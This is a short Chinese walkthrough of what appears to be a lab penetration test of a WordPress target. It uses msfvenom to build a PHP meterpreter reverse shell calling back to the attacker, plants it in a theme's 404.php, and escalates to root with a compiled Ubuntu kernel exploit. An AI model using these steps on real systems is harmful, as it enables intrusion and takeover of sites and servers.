msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.182.129 LPORT=4444 -f raw > shell.php
复制生成的shell上传到404页面上
点击Update File
浏览器访问:http://192.168.182.130/wordpress/wp-content/themes/twentyfourteen/404.php
sudo -l(无法提权)
searchsploit ubuntu 4.4.0
编译代码
上传shellroot到/var/www/html下
下载shellroot到靶机
upload shellroot
给shellroot提权并执行
chomod 777 shellroot
执行shellroot
无flag,渗透结束
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。